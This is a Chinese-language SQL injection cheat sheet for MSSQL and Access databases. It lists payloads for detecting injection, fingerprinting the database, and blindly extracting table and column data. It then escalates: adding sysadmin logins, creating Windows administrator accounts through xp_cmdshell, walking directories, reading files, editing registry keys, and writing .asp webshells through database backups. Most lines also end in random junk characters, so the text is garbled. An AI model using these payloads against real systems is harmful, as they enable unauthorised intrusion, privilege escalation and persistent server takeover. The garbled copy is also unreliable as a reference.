1.判断是否有注入;and 1=1 ;and 1=2 yOU(2"8p
2.初步判断是否是mssql ;and user>0 ;ea]$9
pIV-kI:w
3.注入参数是字符'and [查询条件] and ''=' |y;}zQB-dH
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' SvM6iZ]
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5.判断数据库系统 w27KI]%(
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;and (select count(*) from sysobjects)>0 mssql \J. .*,'
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;and (select count(*) from msysobjects)>0 access h+p*=|j`
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 d<!3`qe
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 s4Sd>D7
n~"$^Vr
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 cMyiW$;
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9.(1)猜字段的ascii值(access) !-2R;yo12
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 W>r#RXmh
'E/*d2CDM(
(2)猜字段的ascii值(mssql) q"O.Cbk
=9oPowq
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 [b%:.bjY
[U}+sTQ
10.测试权限结构(mssql) ~!s-o|N_\
/27JevE
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- @L.82p{h
;^*Unyt[4]
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8N:owK
^~{$wVGa
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2*(Z==XC7
|mdi]TL
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Hzrtlet
F+ E|r6'i
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- KD/V aN
R[49(>7H4
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Gpm{m:$L
jp $Z]
;and 1=(select IS_MEMBER('db_owner'));--
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11.添加mssql和系统的帐户 ypJ".
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;exec master.dbo.sp_addlogin username;-- sXd8rj:o
;exec master.dbo.sp_password null,username,password;-- ?<G]&EK~~]
n}s~+USZX
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- )DYI
.
aR\\<due
;exec master.dbo.xp_cmdshell 'net user username password odg<q$34
rDm'Z>nTf
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- =]-j;#'&
'#(v=|J
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Q}S_%I}u:
XUuu-wm:}
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- $9S(_xdI&
JHf
-=.V
'
c)@>zto#
12.(1)遍历目录 >DPB!XA3
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;create table dirs(paths varchar(100), id int) ~4?9a(>3
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;insert dirs exec master.dbo.xp_dirtree 'c:\' u*qV[y5Bl
d|T!v
;and (select top 1 paths from dirs)>0 Q[+ac*F=Y
\6;=$f/?t
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) J[^}u_z
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(2)遍历目录 2>*%q%81
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6rS$yjTX!
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ,RN:^5 p
e)E$}4
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 !ZU2{
f<A5?eKw
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 si4don
qYhs|tY)
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 <, 3ROo76
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13.mssql中的存储过程 cWajrLw
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xp_regenumvalues 注册表根键, 子键 R-^96fFBy
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 :$+-3_oLMQ
0EJ(.8hwm
xp_regread 根键,子键,键值名 WL{(Ob
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;exec xp_regread `-3o+ID\
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Ma|qHg
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xp_regwrite 根键,子键, 值名, 值类型, 值 Mc!Xf[
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;
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 0kDK~iT
$)H@|<K
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 5Zw1y@k(
7Ol}EPf#
xp_regdeletevalue 根键,子键,值名 ~afg)[(
^*~;k|;&
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 X0*QV- RN
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 w-@6|o,S
7 h y&-<
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14.mssql的backup创建webshell V<HU6w
6!^[];%xN
use model ~XeFOMq
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create table cmd(str image); 4 g.
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insert into cmd(str) values (''); 5X.e*;
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backup database model to disk='c:\l.asp'; Z>)][pL
a{Esw`
/m _kn
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15.mssql内置函数 #E0t?:t5bk
VDB;%U*D
;and (select @@version)>0 获得Windows的版本号 -yDs<
Xl
w<9>Q1(
;and user_name()='dbo' 判断当前系统的连接用户是不是sa yk2 !8
x{}z ;yG
;and (select user_name())>0 爆当前系统的连接用户 TO,rxf
bN^O}[
;and (select db_name())>0 得到当前连接的数据库 A~nf#(!^]
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16.简洁的webshell (SVWdgb
j\RpO'+}
use model TgU**JN)
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create table cmd(str image); mYB`)M*Y
~#\i!I;RY}
insert into cmd(str) values (''); B@Nt`ky0*
Q-rL$%~='
backup database model to disk='g:\wwwtest\l.asp';